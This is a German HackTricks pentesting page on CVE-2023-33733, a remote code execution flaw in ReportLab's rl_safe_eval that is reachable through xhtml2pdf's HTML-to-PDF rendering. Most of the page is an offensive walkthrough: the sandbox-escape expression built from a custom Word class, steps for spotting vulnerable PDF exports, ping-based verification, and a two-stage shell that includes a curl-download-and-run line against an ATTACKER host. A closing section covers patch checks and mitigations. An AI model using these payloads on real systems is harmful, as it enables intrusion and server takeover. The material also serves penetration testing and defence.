ReportLab/xhtml2pdf [[[
]]] expression-evaluation RCE (CVE-2023-33733)

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks

Diese Seite dokumentiert eine praktische Sandbox-Escape- und RCE-Primitive in ReportLab’s rl_safe_eval, die von xhtml2pdf und anderen PDF-Generierungs-Pipelines verwendet wird, wenn benutzergesteuerte HTML-Inhalte in PDFs gerendert werden.

CVE-2023-33733 betrifft ReportLab-Versionen bis einschließlich 3.6.12. In bestimmten Attribut-Kontexten (z. B. color) werden Werte, die in triple brackets [[[ 
 ]]] eingeschlossen sind, serverseitig von rl_safe_eval ausgewertet. Durch das Konstruieren einer Nutzlast, die von einem zugelassenen builtin (pow) zu dessen Python-Funktions-Globals pivotiert, kann ein Angreifer das os-Modul erreichen und Befehle ausfĂŒhren.

Wesentliche Punkte

  • Auslöser: injiziere [[[ 
 ]]] in ausgewertete Attribute wie innerhalb von Markup, das von ReportLab/xhtml2pdf geparst wird.
  • Sandbox: rl_safe_eval ersetzt gefĂ€hrliche builtins, aber ausgewertete Funktionen offenbaren weiterhin globals.
  • Umgehung: Erzeuge eine transiente Klasse Word, um rl_safe_eval NamensprĂŒfungen zu umgehen und den String “globals” zu erreichen, wĂ€hrend geblockte dunder-Filter umgangen werden.
  • RCE: getattr(pow, Word('__globals__'))['os'].system('<cmd>')
  • StabilitĂ€t: Gib nach der AusfĂŒhrung einen gĂŒltigen Attributwert zurĂŒck (fĂŒr color z. B. ‘red’).

Wann testen

  • Anwendungen, die HTML-zu-PDF-Export anbieten (Profile, Rechnungen, Berichte) und xhtml2pdf/ReportLab in PDF-Metadaten oder HTTP-Response-Kommentaren anzeigen.
  • exiftool profile.pdf | egrep ‘Producer|Title|Creator’ → “xhtml2pdf” producer
  • HTTP-Response fĂŒr PDF beginnt oft mit einem ReportLab Generator-Kommentar

Wie die Sandbox-Umgehung funktioniert

  • rl_safe_eval entfernt oder ersetzt viele builtins (getattr, type, pow, 
) und wendet Namensfilter an, die Attribute verbieten, die mit __ beginnen oder in einer Denylist stehen.
  • Sichere Funktionen leben jedoch in einem globals-Dictionary, das ĂŒber func.globals zugĂ€nglich ist.
  • Verwende type(type(1)), um die echte eingebaute type-Funktion wiederherzustellen (um die ReportLab-Wrapper zu umgehen), und definiere dann eine Word-Klasse, die von str ableitet und ein verĂ€ndertes Vergleichsverhalten hat, sodass:
    • .startswith(‘’) → immer False (um die startswith(‘’) NamensprĂŒfung zu umgehen)
    • .eq gibt beim ersten Vergleich False zurĂŒck (um Denylist-MitgliedschaftsprĂŒfungen zu umgehen) und danach True (damit Python getattr funktioniert)
    • .hash entspricht hash(str(self))
  • Damit gibt getattr(pow, Word(‘globals’)) das globals-Dict der umschlossenen pow-Funktion zurĂŒck, das ein importiertes os-Modul enthĂ€lt. Dann: ['os'].system('<cmd>').

Minimales Exploit-Muster (Attribut-Beispiel) Platziere die Nutzlast in einem ausgewerteten Attribut und stelle sicher, dass sie nach der AusfĂŒhrung einen gĂŒltigen Attributwert zurĂŒckgibt, z. B. ĂŒber boolean und ‘red’.

exploit

  • Die List-Comprehension-Form erlaubt einen einzigen Ausdruck, den rl_safe_eval akzeptiert.
  • Das nachgestellte and ‘red’ liefert eine gĂŒltige CSS-Farbe, sodass das Rendering nicht fehlschlĂ€gt.
  • Ersetze den Befehl nach Bedarf; verwende ping, um die AusfĂŒhrung mit tcpdump zu verifizieren.

Betriebsablauf

  1. PDF-Generator identifizieren
  • PDF Producer zeigt xhtml2pdf; HTTP-Response enthĂ€lt ReportLab-Kommentar.
  1. Finde eine Eingabe, die ins PDF reflektiert wird (z. B. Profil-Bio/-Beschreibung) und löse einen Export aus.
  2. Verifikation der AusfĂŒhrung mit leisem ICMP
  • AusfĂŒhren: sudo tcpdump -ni <iface> icmp
  • Nutzlast: 
 system('ping <your_ip>') 

  • Windows sendet oft standardmĂ€ĂŸig genau vier Echo-Requests.
  1. Shell etablieren
  • FĂŒr Windows ist ein zuverlĂ€ssiger Two-Stage-Ansatz empfehlenswert, um Quoting-/Encoding-Probleme zu vermeiden:
  • Stage 1 (Download):

exploit

  • Stage 2 (AusfĂŒhren):

exploit

  • FĂŒr Linux-Ziele ist ein Ă€hnliches Two-Stage-Verfahren mit curl/wget möglich:
  • system(‘curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s’)

Hinweise und Tipps

  • Attribut-Kontexte: color ist ein bekannter ausgewerteter Attribut-Kontext; andere Attribute in ReportLab-Markup können ebenfalls AusdrĂŒcke auswerten. Wenn ein Standort sanitisiert ist, probiere andere Orte im PDF-Flow (verschiedene Felder, Tabellenstile, etc.).
  • Quoting: Halte Befehle kompakt. Two-Stage-Downloads reduzieren erheblich die Probleme mit Quoting und Escaping.
  • ZuverlĂ€ssigkeit: Wenn Exporte gecached oder in Queues verarbeitet werden, variiere die Nutzlast leicht (z. B. zufĂ€lliger Pfad oder Query), um Cache-Treffer zu vermeiden.

Patch-Status (2024–2025) und Erkennung von Backports

  • 3.6.13 (27 Apr 2023) schrieb colors.toColor als AST-walk Parser neu; neuere 4.x-Releases behalten diesen Pfad bei. Das Erzwingen von rl_settings.toColorCanUse auf rl_safe_eval oder rl_extended_literal_eval reaktiviert den verwundbaren Evaluator selbst in aktuellen Versionen.
  • Einige Distributionen liefern Backports der Fixes, behalten aber Versionsnummern wie 3.6.12-1+deb12u1; verlasse dich nicht allein auf die semantische Version. Grep colors.py nach ast.parse oder inspiziere toColor zur Laufzeit, um sicherzustellen, dass der AST-basierte Parser verwendet wird (siehe Quick-Check unten).
  • Schnelle lokale PrĂŒfung, ob der AST-basierte Fix vorhanden ist:
python - <<'PY'
import inspect
from reportlab.lib import colors
src = inspect.getsource(colors.toColor)
print('AST-based toColor' if 'ast.parse' in src else 'rl_safe_eval still reachable')
PY

Minderungsmaßnahmen und Erkennung

  • Aktualisiere ReportLab auf 3.6.13 oder neuer (CVE-2023-33733 behoben). Verfolge auch Sicherheitshinweise in den Distributionspaketen.
  • Speise benutzerkontrolliertes HTML/Markup nicht direkt in xhtml2pdf/ReportLab ein, ohne strikte Bereinigung (Sanitization). Entferne/lehne [[[
]]] Evaluationskonstrukte und herstellerspezifische Tags ab, wenn die Eingabe nicht vertrauenswĂŒrdig ist.
  • ErwĂ€ge, die Verwendung von rl_safe_eval fĂŒr nicht vertrauenswĂŒrdige Eingaben vollstĂ€ndig zu deaktivieren oder zu kapseln.
  • Überwache verdĂ€chtige ausgehende Verbindungen wĂ€hrend der PDF-Erstellung (z. B. ICMP/HTTP von App-Servern beim Exportieren von Dokumenten).

References

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks